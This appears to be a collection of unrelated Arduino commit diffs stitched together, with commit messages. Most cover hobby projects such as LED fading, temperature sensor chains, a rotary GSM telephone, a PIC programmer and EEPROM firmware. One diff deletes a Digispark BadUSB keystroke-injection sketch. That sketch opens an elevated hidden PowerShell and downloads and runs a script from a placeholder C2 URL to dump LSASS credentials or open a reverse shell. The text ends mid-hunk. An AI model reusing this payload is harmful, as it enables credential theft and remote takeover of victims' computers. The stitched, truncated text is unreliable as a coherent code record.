-  // Zero Refference the values
-  OriginalRange = originalMax - originalMin;
-
-  if (newEnd > newBegin){
-    NewRange = newEnd - newBegin;
-  }
-  else
-  {
-    NewRange = newBegin - newEnd;
-    invFlag = 1;
-  }
-
-  zeroRefCurVal = inputValue - originalMin;
-  normalizedCurVal  =  zeroRefCurVal / OriginalRange;   // normalize to 0 - 1 float
-
-  // Check for originalMin > originalMax  - the math for all other cases i.e. negative numbers seems to work out fine
-  if (originalMin > originalMax ) {
-    return 0;
-  }
-
-  if (invFlag == 0){
-    rangedValue =  (pow(normalizedCurVal, curve) * NewRange) + newBegin;
-
-  }
-  else     // invert the ranges
-  {
-    rangedValue =  newBegin - (pow(normalizedCurVal, curve) * NewRange);
-  }
-
-  return rangedValue;
-}
-
-
-// Input a value 0 to 255 to get a color value.
-// The colours are a transition r - g - b - back to r.
-uint32_t Wheel(byte WheelPos) {
-  if(WheelPos < 85) {
-    return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
-  }
-  else if(WheelPos < 170) {
-    WheelPos -= 85;
-    return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
-  }
-  else {
-    WheelPos -= 170;
-    return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
-  }
-}


Changed the code to be engaged via '>' and to instead use the example from the fade sketch to increase and decrease power.

--- blink_test/blink_test.ino
+++ blink_test/blink_test.ino
@@ -1,24 +1,52 @@
+bool currentlyReading = false;
+bool finishedReading = false;
+
+//values 1-9 for sensitivity of each pin. PWM
+int inVal1 = 0; // pin 9
+int inVal2 = 0; // pin 10
+int inVal3 = 0; // pin 11
+int inVal4 = 0; // pin 3
+int inVal5 = 0; // pin 5
+
+int result = 0;
+int result2 = 0;

 int ledPin = 9;
 int val = 0;
-char response[20];
+
 void setup() {
- Serial.begin(9600);
- pinMode(ledPin, OUTPUT);
+    Serial.begin(9600);
+    pinMode(ledPin, OUTPUT);
+    result = map(4, 1, 9, 1, 255);
+    result2 = map(9, 1, 9, 1, 255);
 }

 void loop () {

     if(Serial.available() > 0){
         val = Serial.read();
-        if(val == 'a'){
-            digitalWrite(ledPin, HIGH);
-
-         //  Serial.write(Serial.read());
+        if(val == '>'){
+            currentlyReading = true;
+            Serial.println("Reading engaged");
         }
-        if(val == 's'){
-            digitalWrite(ledPin, LOW);
+        if(val == ':'){
+            currentlyReading = false;
+            Serial.println("Reading disengaged");
         }
+        if(currentlyReading == true){
+
+            if(val == '1'){
+                //digitalWrite(ledPin, HIGH);
+
+                 analogWrite(ledPin, result);
+            }
+            if(val == '2'){
+               // digitalWrite(ledPin, LOW);
+
+                 analogWrite(ledPin, result2);
+             }
+        }
+
     }
 }


refactor

refactor

--- esp8266_160220_BYOP.ino
+++ esp8266_160220_BYOP.ino
@@ -180,19 +180,21 @@
 {
   // TODO: 0c > test proc_get()

-  int msgcnt = MsgServer_GetMessageCount(g_owner.nickName);
+  String rcver = g_owner.nickName;
+
+  int msgcnt = MsgServer_GetMessageCount(rcver);
   if (msgcnt == 0) {
     return false; // TODO: 0m > what to reply???
   }
-  String msgstr = MsgServer_Get1stMessage(g_owner.nickName);
+  String msgstr = MsgServer_Get1stMessage(rcver);

   debug_outputDebugString("proc_get", "msgstr:" + msgstr);
 ;

-  bool isScrt = MsgServer_GetIsSecretOf1stMessage(g_owner.nickName);
+  bool isScrt = MsgServer_GetIsSecretOf1stMessage(rcver);

   // the message is removed here
-  MsgServer_Remove1stMessage(g_owner.nickName);
+  MsgServer_Remove1stMessage(rcver);

   String reply = kCmdList[CMD_GET] + "," + msgstr;
   Serial.println(reply);


Delete PTBlink.ino

Delete PTBlink.ino

--- PTBlink.ino
+++ PTBlink.ino
@@ -1,44 +0,0 @@
-/*
-  Blink
-  Turns on an LED on for one second, then off for one second, repeatedly.
-
-  Most Arduinos have an on-board LED you can control. On the UNO, MEGA and ZERO
-  it is attached to digital pin 13, on MKR1000 on pin 6. LED_BUILTIN is set to
-  the correct LED pin independent of which board is used.
-  If you want to know what pin the on-board LED is connected to on your Arduino model, check
-  the Technical Specs of your board  at https://www.arduino.cc/en/Main/Products
-
-  This example code is in the public domain.
-
-  modified 8 May 2014
-  by Scott Fitzgerald
-
-  modified 2 Sep 2016
-  by Arturo Guadalupi
-
-  modified 8 Sep 2016
-  by Colby Newman
-
-  modifed 11 Aug 2017
-  by Helio R. Freitas Jr.
-
-*/
-#include <PTconverter.h>
-
-
-
-// the setup function runs once when you press reset or power the board
-vazio definicao() {
-  // initialize digital pin LED_BUILTIN as an output.
-  configuraPino(LED_BUILTIN, OUTPUT);
-}
-
-
-
-// the loop function runs over and over again forever
-vazio principal() {
-  escrevePino(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
-  retardo(1000);                       // wait for a second
-  escrevePino(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
-  retardo(1000);                       // wait for a second
-}


Multiple channels. Tested and working on breadboard.

--- arduino/DS18B20Chain/DS18B20Chain.ino
+++ arduino/DS18B20Chain/DS18B20Chain.ino
@@ -12,23 +12,32 @@
 #include <OneWire.h>
 #include <DallasTemperature.h>

-#define DEBUG 0 // Useful for gaining sensor addresses, set to 1.
+#define DEBUG 1 // Useful for gaining sensor addresses, set to 1.

-#define BUS_1 2
-#define BUS_2 3
+#define BUS_0 2 // Indoor
+#define BUS_1 3 // Green Roofs
+#define BUS_2 4 // Brown Inner + Outdoor
 #define PRECISION 9

+OneWire wire0(BUS_0);
 OneWire wire1(BUS_1);
 OneWire wire2(BUS_2);
+DallasTemperature dallas0(&wire0);
 DallasTemperature dallas1(&wire1);
 DallasTemperature dallas2(&wire2);

+#define N_BUS_0 1
 #define N_BUS_1 9
 #define N_BUS_2 8
+DeviceAddress* bus0Devs[N_BUS_0];
 DeviceAddress* bus1Devs[N_BUS_1];
 DeviceAddress* bus2Devs[N_BUS_2];

-DeviceAddress d1_0 = { 0x28, 0x58, 0x1C, 0x82, 0x04, 0x00, 0x00, 0x8C };
+// Indoor
+DeviceAddress d0_0 = { 0x28, 0x55, 0xA5, 0x82, 0x04, 0x00, 0x00, 0x7A };
+
+// Roofs - Green
+DeviceAddress d1_0 = { 0x28, 0x49, 0x82, 0x82, 0x04, 0x00, 0x00, 0xF5 }; // Note: none of these are yet correct.
 DeviceAddress d1_1 = { 0x28, 0x77, 0xBB, 0x82, 0x04, 0x00, 0x00, 0x7C };
 DeviceAddress d1_2 = { 0x28, 0x6A, 0x8B, 0x82, 0x04, 0x00, 0x00, 0xE9 };
 DeviceAddress d1_3 = { 0x28, 0x09, 0x00, 0x82, 0x04, 0x00, 0x00, 0xC8 };
@@ -36,10 +45,12 @@
 DeviceAddress d1_5 = { 0x28, 0x19, 0x74, 0x82, 0x04, 0x00, 0x00, 0xE1 };
 DeviceAddress d1_6 = { 0x28, 0xA8, 0x78, 0x82, 0x04, 0x00, 0x00, 0xF0 };
 DeviceAddress d1_7 = { 0x28, 0xAD, 0x8F, 0x82, 0x04, 0x00, 0x00, 0xEC };
-DeviceAddress d1_8 = { 0x28, 0x55, 0xA5, 0x82, 0x04, 0x00, 0x00, 0x7A };
+// Outdoor - Orange
+DeviceAddress d1_8 = { 0x28, 0xAD, 0x8F, 0x82, 0x04, 0x00, 0x00, 0xEC };

-DeviceAddress d2_0 = { 0x28, 0x58, 0x1C, 0x82, 0x04, 0x00, 0x00, 0x8C };
-DeviceAddress d2_1 = { 0x28, 0x77, 0xBB, 0x82, 0x04, 0x00, 0x00, 0x7C };
+// Inner - Brown
+DeviceAddress d2_0 = { 0x28, 0xAD, 0x8F, 0x82, 0x04, 0x00, 0x00, 0xEC };
+DeviceAddress d2_1 = { 0x28, 0x09, 0x00, 0x82, 0x04, 0x00, 0x00, 0xC8 };
 DeviceAddress d2_2 = { 0x28, 0x6A, 0x8B, 0x82, 0x04, 0x00, 0x00, 0xE9 };
 DeviceAddress d2_3 = { 0x28, 0x09, 0x00, 0x82, 0x04, 0x00, 0x00, 0xC8 };
 DeviceAddress d2_4 = { 0x28, 0xA9, 0x6F, 0x82, 0x04, 0x00, 0x00, 0xEA };
@@ -49,6 +60,8 @@

 // formulate each address group into a convenient array
 void assignAddresses() {
+  bus0Devs[0] = &d0_0;
+
   bus1Devs[0] = &d1_0;
   bus1Devs[1] = &d1_1;
   bus1Devs[2] = &d1_2;
@@ -57,7 +70,7 @@
   bus1Devs[5] = &d1_5;
   bus1Devs[6] = &d1_6;
   bus1Devs[7] = &d1_7;
-  bus1Devs[8] = &d1_8;
+  bus2Devs[8] = &d1_8;

   bus2Devs[0] = &d2_0;
   bus2Devs[1] = &d2_1;
@@ -73,17 +86,33 @@
   // Begin
   Serial.begin(9600);
   assignAddresses();
+  dallas0.begin();
   dallas1.begin();
   dallas2.begin();

   // Get the addresses of connected devices.
   if (DEBUG) {
     Serial.println("Beginning.");
+    Serial.print("Locating devices on ch. 0... Found ");
+    Serial.print(dallas0.getDeviceCount(), DEC);
+    Serial.println(" devices.");
+
+    DeviceAddress tempDev;
+    dallas0.requestTemperatures();
+    for (int i=0; i<dallas0.getDeviceCount(); ++i) {
+      if (!dallas0.getAddress(tempDev, i)) {
+        Serial.print("  Unable to find address for Device ");
+        Serial.println(i);
+      } else {
+        printAddress(tempDev);
+        Serial.println(dallas0.getTempC(tempDev));
+      }
+    }
+
     Serial.print("Locating devices on ch. 1... Found ");
     Serial.print(dallas1.getDeviceCount(), DEC);
     Serial.println(" devices.");

-    DeviceAddress tempDev;
     dallas1.requestTemperatures();
     for (int i=0; i<dallas1.getDeviceCount(); ++i) {
       if (!dallas1.getAddress(tempDev, i)) {
@@ -94,6 +123,7 @@
         Serial.println(dallas1.getTempC(tempDev));
       }
     }
+

     Serial.print("Locating devices on ch. 2... Found ");
     Serial.print(dallas2.getDeviceCount(), DEC);
@@ -115,27 +145,27 @@
 void loop() {
   assignAddresses(); // Unsure why we have to do this every time, but we do
   // Update temperature readings
+  dallas0.requestTemperatures();
   dallas1.requestTemperatures();
   dallas2.requestTemperatures();

-  // Print comma separated temperatures
+  // Roofs
   for (int i=0; i<N_BUS_1; ++i) {
     float temp = dallas1.getTempC(*bus1Devs[i]);
     Serial.print(temp);
     Serial.print(", ");
   }
-  /*
+
+  // Inners + Outdoor
   for (int i=0; i<N_BUS_1; ++i) {
     float temp = dallas2.getTempC(*bus1Devs[i]);
     Serial.print(temp);
     Serial.print(", ");
   }
-  */

-  // DELETE THIS!!
-  // Faking extra data
-  for (int i=0; i<N_BUS_1; ++i) {
-    float temp = dallas1.getTempC(*bus1Devs[i]);
+  // Indoor
+  for (int i=0; i<N_BUS_0; ++i) {
+    float temp = dallas0.getTempC(*bus0Devs[i]);
     Serial.print(temp);
     Serial.print(", ");
   }


fixed debug messages

fixed debug messages

--- arduino/light_switch/light_switch.ino
+++ arduino/light_switch/light_switch.ino
@@ -41,7 +41,7 @@
 {
   pinMode(status_led_pin, OUTPUT);

-  #ifdef DEBUG_SWITCHER
+  #if DEBUG_SWITCHER
     Serial.begin(9600);
     Serial.println("Buttons setup ...");
   #endif
@@ -49,17 +49,17 @@
   setup_buttons();
   sturtup_blink();

-  #ifdef DEBUG_SWITCHER
+  #if DEBUG_SWITCHER
     Serial.println("Connecting to network ...");
   #endif

   if (client.begin( const_cast<byte*>(mac) ) == 0 ) {
-    #ifdef DEBUG_SWITCHER
+    #if DEBUG_SWITCHER
       Serial.println("Failed to configure Ethernet using DHCP");
     #endif
   } else
   {
-    #ifdef DEBUG_SWITCHER
+    #if DEBUG_SWITCHER
       Serial.println("OK!");
       Serial.println(Ethernet.localIP());
     #endif
@@ -68,7 +68,7 @@

 void loop()
 {
-  #ifdef DEBUG_SWITCHER
+  #if DEBUG_SWITCHER
     //Serial.println(".");
   #endif

@@ -79,7 +79,7 @@
     if ( millis() - last_pressed_at > minimal_delay )
     {
       if(!button_was_pressed[i] && digitalRead(buttons[i]) == LOW) {
-        #ifdef DEBUG_SWITCHER
+        #if DEBUG_SWITCHER
           Serial.println("Button pressed!");
         #endif
         control_led(HIGH);
@@ -124,7 +124,7 @@

   status_code = client.get( lights_url_by_button_number(b_number) );

-  #ifdef DEBUG_SWITCHER
+  #if DEBUG_SWITCHER
     Serial.print("GET query:");
     Serial.println(lights_url_by_button_number(b_number));
     Serial.print("Status code from server: ");
@@ -164,7 +164,7 @@

 void control_led(int state)
 {
-    #ifdef DEBUG_SWITCHER
+    #if DEBUG_SWITCHER
       if(state == LOW)
         Serial.println("led is off");
       else


Seen the first 0xAX 0x52[ACK] on Gemma with TinyWireM.

--- arduino_proto/NFC_gemma/NFC_gemma.ino
+++ arduino_proto/NFC_gemma/NFC_gemma.ino
@@ -1,4 +1,4 @@
-/* NFC.ino  02/04/2015  D.J.Whale
+/* NFC_gema.ino  02/04/2015  D.J.Whale
  *
  * Please note: This program is a hardware test program only.
  * It was written under extreme time pressure, and should only
@@ -7,14 +7,16 @@
  * in any way a representation of good programming practice...
  * ... that takes more than a couple of hours to achieve.
  *
- * Test program for Arduino Uno to read a URI NDEF record from M24SR.
+ * Test program for Adafruit Gemma to read a URI NDEF record from M24SR.
  * Wire up a X-NUCLEO-NFC01A1 to the SCL/SCA pins.
  * Download this program and run it.
- * On the serial monitor, you should see a series of trace messages
- * for each step, plus the URL near the end that is read back from the
- * NDEF record.
+ *
  * If you get loads of 00 or FF data back, you probably don't have
  * 4.7K pullup resistors on both of SCL and SDA.
+ *
+ * D2 SCL
+ * D0 SDA
+ * D1 LED
  */

 //Modified for testing on Gemma.
@@ -22,11 +24,6 @@
 //#include <Wire.h>
 #include <TinyWireM.h>
 #define Wire TinyWireM
-
-// LEDs on X-NUCLEO board
-//#define LED1 5
-//#define LED2 4
-//#define LED3 2

 // LEDs on Gemma
 #define LED 1
@@ -59,8 +56,15 @@

 // The delays are required, to allow the M24SR time to process commands.

-void loop()
-{
+//void loop()
+//{
+//  digitalWrite(CAPTURE, HIGH);
+//  delay(250);
+//  digitalWrite(CAPTURE, LOW);
+//  delay(250);
+//}
+
+void loop(){
   //Serial.println("\nstarting");
   //digitalWrite(LED1, HIGH);

@@ -186,8 +190,8 @@
   //delay(1);
   //readAndDisplay(3);

-  //digitalWrite(LED1, LOW);
-  //delay(1000);
+  digitalWrite(CAPTURE, LOW);
+  delay(1000);
 }


#8 catching incomming call

#8 catching incomming call

--- telephone/telephone.ino
+++ telephone/telephone.ino
@@ -9,7 +9,6 @@
 const int ASTERISK_PIN = A3;
 const int NUMBER_SIGN_PIN = A4;
 const int PLUS_PIN = A5;
-const int LED_PIN = 13;
 const int AUTO_START_GSM_PIN = 8;

 Button buttonHandset(0, 1023);
@@ -18,8 +17,9 @@
 Button buttonAsterisk(0, 1023);
 Button buttonNumberSign(0, 1023);
 Button buttonPlus(0, 1023);
-
-boolean isGettingPhoneNumber;
+Button incomingCall(false, true);
+
+boolean isHeadsetUp;
 boolean isGettingDigit;
 boolean isTalking;

@@ -35,8 +35,8 @@
 //---- gsm end

 void pickedUpHandler(telephone::ButtonState buttonState) {
-  isGettingPhoneNumber = buttonState == PRESSED;
-  if (isGettingPhoneNumber) {
+  isHeadsetUp = buttonState == PRESSED;
+  if (isHeadsetUp) {
     Serial.println("Headset up");
     phoneNumber = "";
   } else {
@@ -44,12 +44,13 @@
     isGettingDigit = false;
     if (isTalking) {
       isTalking = false;
+      gsmVoiceCall.hangCall();
     }
   }
 }

 void rotatingHandler(telephone::ButtonState buttonState) {
-  if (isGettingPhoneNumber) {
+  if (isHeadsetUp) {
     isGettingDigit = buttonState == PRESSED;
     if (isGettingDigit) {
       digitValue = 0;
@@ -98,11 +99,19 @@
 }

 void addSymbolToPhoneNumber(String symbol) {
-  if (isGettingPhoneNumber && (!isGettingDigit)) {
+  if (isHeadsetUp && (!isGettingDigit)) {
     phoneNumber += symbol;
     if (isTalking) {
         sendDigit();
     }
+  }
+}
+
+void incomingCallHandler(telephone::ButtonState buttonState) {
+  if (buttonState == PRESSED) {
+    Serial.println("Incoming call started");
+  } else {
+    Serial.println("Incoming call ended");
   }
 }

@@ -134,6 +143,7 @@
     while (isTalking && (gsmVoiceCall.getvoiceCallStatus() == TALKING)) {
       refreshButtons();
     }
+    isTalking = false;
     gsmVoiceCall.hangCall();
     // ПРОВЕРИТЬ: когда занято.
   }
@@ -170,6 +180,7 @@
   buttonAsterisk.refresh(analogRead(ASTERISK_PIN), currentMillis);
   buttonNumberSign.refresh(analogRead(NUMBER_SIGN_PIN), currentMillis);
   buttonPlus.refresh(analogRead(PLUS_PIN), currentMillis);
+  incomingCall.refresh(gsmVoiceCall.getvoiceCallStatus() == RECEIVINGCALL, currentMillis);
 }

 void setup() {
@@ -184,7 +195,6 @@
   pinMode(ASTERISK_PIN, INPUT);
   pinMode(NUMBER_SIGN_PIN, INPUT);
   pinMode(PLUS_PIN, INPUT);
-  pinMode(LED_PIN, OUTPUT);
   pinMode(AUTO_START_GSM_PIN, OUTPUT);
   delay(100);
   digitalWrite(AUTO_START_GSM_PIN, HIGH);
@@ -195,6 +205,7 @@
   buttonAsterisk.setHandler(asteriskHandler);
   buttonNumberSign.setHandler(numberSignHandler);
   buttonPlus.setHandler(plusHandler);
+  incomingCall.setHandler(incomingCallHandler);

   Serial.print("Connecting..");
   while (true) {


Delete Keyboard_Netsh-Ripper_OR_Send-LSASS-Dump.ino

--- Keyboard_Netsh-Ripper_OR_Send-LSASS-Dump.ino
+++ Keyboard_Netsh-Ripper_OR_Send-LSASS-Dump.ino
@@ -1,38 +0,0 @@
-#include "DigiKeyboard.h"
-
-void setup() {
-  // don't need to set anything up to use DigiKeyboard
-}
-void loop() {
-  // this is generally not necessary but with some older systems it seems to
-  // prevent missing the first character after a delay:
-  DigiKeyboard.sendKeyStroke(0);
-  DigiKeyboard.delay(2000);
-
-  // start elevated prompt
-  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
-  DigiKeyboard.delay(1000);
-  DigiKeyboard.print("powershell");
-  DigiKeyboard.delay(1000);
-  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
-  DigiKeyboard.delay(1000);
-  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
-  DigiKeyboard.sendKeyStroke(KEY_ENTER);
-  // cmd with administrative privilege done
-
-  DigiKeyboard.delay(5000);
-
-  //Download powercat and setup reversed shell
-  DigiKeyboard.print("powershell -ExecutionPolicy Bypass -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.Webclient).DownloadString('http(s)://c2/webserver/url_to_Netsh-Ripper_OR_Send-LSASS-Dump.ps1')");
-  DigiKeyboard.sendKeyStroke(KEY_ENTER);
-   DigiKeyboard.delay(500);
-  // reversed shell done
-
-  digitalWrite(1, HIGH); //turn on led when program finishes
-  DigiKeyboard.delay(90000);
-  digitalWrite(1, LOW);
-  DigiKeyboard.delay(5000);
-  // second led on you can remove the badusb
-
-}
-


Added: programming mode switch and power mode switch for PICs

--- pic_programmer_prototype/pic_programmer_prototype.ino
+++ pic_programmer_prototype/pic_programmer_prototype.ino
@@ -1,9 +1,92 @@
 #include <stdlib.h>

 #include <StringSplitter.h>
+
+// These timings are all given in micro seconds
+#define PROGRAMMING_MODE_RESET_DELAY 20000           // Treset
+#define PROGRAMMING_MODE_VPP_LEAD_TIME 10            // Tppdp
+#define PROGRAMMING_MODE_INPUT_LINE_SET_TIME 1       // Tset0
+#define PROGRAMMING_MODE_HOLD_ACTIVATION_TIME 10     // Thld0
+#define PROGRAMMING_MODE_EXIT_DELAY_TIME 2           // Texit

 const int POWER_PIN = 40;
 const int PROG_POWER_PIN = 41;
+const int PROGRAMMING_CLOCK_PIN = 42;
+const int PROGRAMMING_DATA_PIN = 43;
+
+class PICProgrammer {
+  private:
+    bool hasPower, inProgrammingMode;
+  public:
+    PICProgrammer() {
+      pinMode(POWER_PIN, OUTPUT);
+      pinMode(PROG_POWER_PIN, OUTPUT);
+      pinMode(PROGRAMMING_CLOCK_PIN, INPUT);
+      pinMode(PROGRAMMING_DATA_PIN, INPUT);
+
+      digitalWrite(POWER_PIN, LOW);
+      digitalWrite(PROG_POWER_PIN, LOW);
+
+      hasPower = false;
+      inProgrammingMode = false;
+
+      // Wait for a general reset
+      delay(100);
+    }
+
+    void setPower(bool on) {
+      if (inProgrammingMode) {
+        setProgrammingMode(false);
+      }
+      if (on != hasPower) {
+        digitalWrite(POWER_PIN, on ? HIGH : LOW);
+        hasPower = on;
+        delayMicroseconds(PROGRAMMING_MODE_RESET_DELAY);
+      }
+    }
+
+    void setProgrammingMode(bool on) {
+      if (on != inProgrammingMode) {
+        if (on) {
+          setPower(false);
+
+          pinMode(PROGRAMMING_CLOCK_PIN, OUTPUT);
+          pinMode(PROGRAMMING_DATA_PIN, OUTPUT);
+
+          digitalWrite(PROGRAMMING_CLOCK_PIN, LOW);
+          digitalWrite(PROGRAMMING_DATA_PIN, LOW);
+          delayMicroseconds(PROGRAMMING_MODE_INPUT_LINE_SET_TIME);
+
+          digitalWrite(PROG_POWER_PIN, HIGH);
+          delayMicroseconds(PROGRAMMING_MODE_VPP_LEAD_TIME);
+          digitalWrite(POWER_PIN, HIGH);
+          delayMicroseconds(PROGRAMMING_MODE_HOLD_ACTIVATION_TIME);
+
+          inProgrammingMode = true;
+          hasPower = true;
+        } else {
+          digitalWrite(POWER_PIN, LOW);
+
+          pinMode(PROGRAMMING_CLOCK_PIN, OUTPUT);
+          pinMode(PROGRAMMING_DATA_PIN, OUTPUT);
+
+          digitalWrite(PROGRAMMING_CLOCK_PIN, LOW);
+          digitalWrite(PROGRAMMING_DATA_PIN, LOW);
+          delayMicroseconds(PROGRAMMING_MODE_EXIT_DELAY_TIME);
+
+          digitalWrite(PROG_POWER_PIN, LOW);
+
+          delayMicroseconds(PROGRAMMING_MODE_RESET_DELAY);
+
+          inProgrammingMode = false;
+          hasPower = false;
+        }
+      }
+    }
+};
+
+PICProgrammer* programmer;
+

 class Command {
   public:
@@ -14,39 +97,101 @@
     virtual void printHelpString() const;
 };

-const size_t COMMAND_COUNT = 1;
-Command::Ptr commands[1] = {nullptr};
+const size_t COMMANDS_SIZE = 10;
+Command::Ptr commands[COMMANDS_SIZE];

 class HelpCommand : public Command {
   public:
-    virtual bool match(const String& name) const {
-      return name == "help";
+    virtual bool match(const String& cmd) const {
+      return cmd == "help";
     }

     virtual void execute(const String& commandString) {
       Serial.println("Available commands:");
-      for (size_t i = 0; i < COMMAND_COUNT; i++) {
+      for (size_t i = 0; i < COMMANDS_SIZE; i++) {
+        if (commands[i] == nullptr) {
+          break;
+        }
         commands[i]->printHelpString();
       }
     }

     virtual void printHelpString() const {
-      Serial.println("  help             prints this help screen");
+      Serial.println("  help                  prints this help screen");
+    }
+};
+
+class PowerControl : public Command {
+  public:
+    virtual bool match(const String& name) const {
+      return name.startsWith("power");
+    }
+
+    virtual void execute(const String& commandString) {
+      StringSplitter splitter(commandString, ' ', 2);
+      String parameter = splitter.getItemAtIndex(1);
+      parameter.toLowerCase();
+
+      if (parameter == "on") {
+        programmer->setPower(true);
+      } else if (parameter == "off") {
+        programmer->setPower(false);
+      } else {
+        Serial.println("ERROR: on/off required");
+      }
+    }
+
+    virtual void printHelpString() const {
+      Serial.println("  power on/off          turns power to the PIC on or off");
+    }
+};
+
+class ProgrammingModeControl : public Command {
+  public:
+    virtual bool match(const String& name) const {
+      return name.startsWith("prog_mode");
+    }
+
+    virtual void execute(const String& commandString) {
+      StringSplitter splitter(commandString, ' ', 2);
+      String parameter = splitter.getItemAtIndex(1);
+      parameter.toLowerCase();
+
+      if (parameter == "on") {
+        programmer->setProgrammingMode(true);
+      } else if (parameter == "off") {
+        programmer->setProgrammingMode(false);
+      } else {
+        Serial.println("ERROR: on/off required");
+      }
+    }
+
+    virtual void printHelpString() const {
+      Serial.println("  prog_mode on/off      turns programming mode of the PIC on or off");
     }
 };

 void setup() {
+  memset(&commands, COMMANDS_SIZE * sizeof(commands[0]), 0);
   commands[0] = new HelpCommand();
+  commands[1] = new PowerControl();
+  commands[2] = new ProgrammingModeControl();

   Serial.begin(57600);
+  Serial.setTimeout(10);
+
+  programmer = new PICProgrammer();
 }

 void loop() {
-  String cmd = Serial.readString();
+  String cmd = Serial.readStringUntil('\n');
   cmd.trim();
   if (cmd.length() > 0) {
     bool cmatched = false;
-    for (int i = 0; i < COMMAND_COUNT; i++) {
+    for (int i = 0; i < COMMANDS_SIZE; i++) {
+      if (commands[i] == nullptr) {
+        break;
+      }
       if (commands[i]->match(cmd)) {
         commands[i]->execute(cmd);
         cmatched = true;
@@ -54,7 +199,7 @@
       }
     }
     if (!cmatched) {
-      Serial.println("invalid command, use 'help' to show all available commands");
+      Serial.println("ERROR: invalid command, use 'help' to show all available commands");
     }
   }
 }


Updated service/characteristics UUIDs

Updated service/characteristics UUIDs

--- Motor_v2.ino
+++ Motor_v2.ino
@@ -2,16 +2,16 @@
 #define MOTOR_PIN 6

 BLEPeripheral blePeripheral;
-BLEService motorService = BLEService("FF10");
+BLEService motorService = BLEService("FFF1");

 // switchCharacteristic controls motor's on/off state
 BLECharCharacteristic switchCharacteristic =
-  BLECharCharacteristic("FF11", BLERead | BLEWrite);
+  BLECharCharacteristic("FFF2", BLERead | BLEWrite);
 BLEDescriptor switchDescriptor = BLEDescriptor("2901", "Switch");

 // speedCharacteristic controls the motor's speed
-BLECharCharacteristic speedCharacteristic =
-  BLECharCharacteristic("FF12", BLERead | BLEWrite);
+BLEIntCharacteristic speedCharacteristic =
+  BLEIntCharacteristic("FFF3", BLERead | BLEWrite);
 BLEDescriptor speedDescriptor = BLEDescriptor("2901", "Speed");

 void setup() {


Shift high byte of address bus first.

Shift high byte of address bus first.

The schematic at http://www.ichbinzustaendig.de/dev/meeprommer-en shows
the low-byte address bus 74HC595 (EEPROM A0..A7) connected first,
cascading into the high-byte 74HC595. This means the high byte should be
shifted first. The code comments reflect this, but the actual code
doesn't.

Note that @presslab-us's fork shifts the high byte first, although he
says he didn't specifically change the address byte order. I'm not sure
how it crept in here - probably while experimenting for a board with
the '595 chips wired in reverse.

--- Arduino/MEEPROMMERfirmware/MEEPROMMERfirmware.ino
+++ Arduino/MEEPROMMERfirmware/MEEPROMMERfirmware.ino
@@ -138,9 +138,9 @@
   bitClear(PORTC,PORTC_LATCH);

   //shift out highbyte
+  fastShiftOut(hi);
+  //shift out lowbyte
   fastShiftOut(low);
-  //shift out lowbyte
-  fastShiftOut(hi);

   //enable latch and set address
   bitSet(PORTC,PORTC_LATCH);


Add files via upload

Add files via upload

Separati INPUT e OUTPUT. Il numero dei pin di input può essere ora diverso dal numero dei pin di output.

--- Arduino_files/sketch_raspuino/sketch_raspuino.ino
+++ Arduino_files/sketch_raspuino/sketch_raspuino.ino
@@ -1,5 +1,4 @@
-
-#include <Ethernet.h>
+#include <Ethernet2.h>
 #include <EthernetClient.h>
 #include <EthernetServer.h>
 #include <SPI.h>
@@ -9,8 +8,10 @@
 //used to save the output state: 1 bit for output pin
 EEPROMClassEx mem;

-//number of pins used (equals for input and output)
-#define numPin
+
+#define numInPin
+#define numOutPin
+
 byte output_pins[] = {}; //insert array output pin es.{2,3,4,5,6,7}
 byte input_pins[] = {}; // insert array input pin es.{14,15,16,17,18,19}

@@ -27,9 +28,12 @@
 long lastTime;

 void setup() {
-  for(int i=0;i<numPin;i++){
+  for(int i=0;i<numInPin;i++){
+    pinMode(input_pins[i],INPUT);
+
+  }
+  for(int i=0;i<numOutPin;i++){
     pinMode(output_pins[i],OUTPUT);
-    pinMode(input_pins[i],INPUT);
     //load the last output state
     int address = i/8;
     byte pos = i%8;
@@ -123,7 +127,7 @@
     }
     // save the current output state on EEPROM every 10 seconds
     if(millis()-lastTime>10000){
-      for(int i=0;i<numPin;i++){
+      for(int i=0;i<numOutPin;i++){
         int address = i/8;
         byte pos = i%8;
         if(digitalRead(output_pins[i])==HIGH){
@@ -144,13 +148,13 @@
  */
 String getVettoreStato(){
   String arrayStato = "";
-  for(int i=0;i<numPin;i++)
+  for(int i=0;i<numInPin;i++)
    {
     if(digitalRead(input_pins[i])==HIGH)
       arrayStato+="1";
     else
       arrayStato+="0";
-    if(i!=(numPin-1))
+    if(i!=(numInPin-1))
       arrayStato+=",";
    }
    return arrayStato;
@@ -161,10 +165,10 @@
  */
 String getInputPinJSON(){
   String arrayNum="[";
-  for(int i=0;i<numPin;i++)
+  for(int i=0;i<numInPin;i++)
    {
     arrayNum+=(String(input_pins[i]));
-    if(i!=(numPin-1))
+    if(i!=(numInPin-1))
       arrayNum+=",";
    }
    arrayNum+="]";
@@ -173,10 +177,10 @@

 String getOutputPinJSON(){
   String arrayNum="[";
-  for(int i=0;i<numPin;i++)
+  for(int i=0;i<numOutPin;i++)
    {
     arrayNum+=(String(output_pins[i]));
-    if(i!=(numPin-1))
+    if(i!=(numOutPin-1))
       arrayNum+=",";
    }
    arrayNum+="]";
@@ -185,13 +189,13 @@

 String getInputStatusJSON(){
   String array="[";
-  for(int i=0;i<numPin;i++)
+  for(int i=0;i<numInPin;i++)
    {
     if(digitalRead(input_pins[i])==HIGH)
       array+="1";
     else
       array+="0";
-    if(i!=(numPin-1))
+    if(i!=(numInPin-1))
       array+=",";
    }
    array+="]";
@@ -200,13 +204,13 @@

 String getOutputStatusJSON(){
     String array="[";
-  for(int i=0;i<numPin;i++)
+  for(int i=0;i<numOutPin;i++)
    {
     if(digitalRead(output_pins[i])==HIGH)
       array+="1";
     else
       array+="0";
-    if(i!=(numPin-1))
+    if(i!=(numOutPin-1))
       array+=",";
    }
    array+="]";


Sleep on INT0 low

Sleep on INT0 low

--- tracker/tracker.ino
+++ tracker/tracker.ino
@@ -71,6 +71,7 @@
 #define LED_DEBUG 13
